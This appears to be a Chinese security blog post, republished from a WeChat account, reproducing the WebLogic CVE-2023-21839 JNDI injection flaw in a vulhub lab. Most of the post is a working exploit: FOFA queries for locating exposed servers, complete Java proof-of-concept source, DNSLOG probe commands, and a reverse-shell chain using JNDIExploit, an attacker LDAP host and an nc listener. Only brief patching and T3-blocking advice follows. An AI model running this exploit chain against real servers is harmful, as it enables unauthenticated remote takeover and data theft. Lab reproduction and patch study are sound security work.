免责声明
文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
产品简介
WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
漏洞简介
Weblogic CVE 2023-21839漏洞由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,其原理是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行,可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响版本
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
网络测绘
FOFA网络测绘搜索
app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"
漏洞复现
本次漏洞的复现环境主要是 centos7+vulhub
vulhub环境搭建参考:
https://www.cnblogs.com/Lee-404/p/12763280.html
启动环境,浏览器访问出现该页面则表示启动成功
访问链接 http://IP:7001/console/login/LoginForm.jsp
可以访问到后台管理登陆的页面
探测
利用DNSLOG进行探测
利用网上公布的exp工具
工具地址:https://github.com/DXask88MA/Weblogic-CVE-2023-21839
源码POC:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
使用的kali2022为攻击机,需要配置java1.8的环境
Kali重新安装JDK1.8参考:https://blog.csdn.net/qq_43968080/article/details/105586109
使用攻击机执行 exp 脚本攻击目标靶场,攻击机执行命令后可以在DNSLOG刷新
java -jar Weblogic-CVE-2023-21839.jar 靶场IP:7001 ldap://7z4rb3.dnslog.cn
反弹shell
下载GitHub上公开的工具
工具地址:https://github.com/WhiteHSBG/JNDIExploit
使用 JNDIExploit-1.4-SNAPSHOT.jar 启动 ladp 服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机IP
在kali上设置监听:
nc -lvp 8888
可以在本地物理机上使用 Weblogic-CVE-2023-21839.jar 工具来进行攻击测试,命令格式如下:
java -jar ./Weblogic-CVE-2023-21839.jar 目标IP:Prot ldap_IP:1389/Basic/ReverseShell/ldap_IP/监听端口
反弹shell成功
修复方案
临时处置应对措施
禁用T3协议,或者对协议端口进行访问控制。
参考方法:https://help.aliyun.com/noticelist/articleid/1060577901.html
官方修复措施
Oracle官方已发布升级补丁以修复漏洞,建议及时更新。
补丁获取链接:https://www.oracle.com/security-alerts/cpuapr2023.html
原文始发于微信公众号(划水但不摆烂):【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论